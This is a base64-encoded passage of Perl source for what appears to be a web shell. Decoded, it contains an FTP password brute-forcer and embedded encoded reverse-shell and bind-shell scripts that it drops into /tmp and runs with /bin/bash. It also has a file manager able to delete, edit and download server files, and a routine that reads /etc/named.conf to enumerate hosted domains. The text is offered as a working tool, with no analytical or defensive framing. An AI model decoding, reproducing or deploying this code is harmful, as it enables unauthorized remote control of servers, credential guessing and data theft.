UZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChA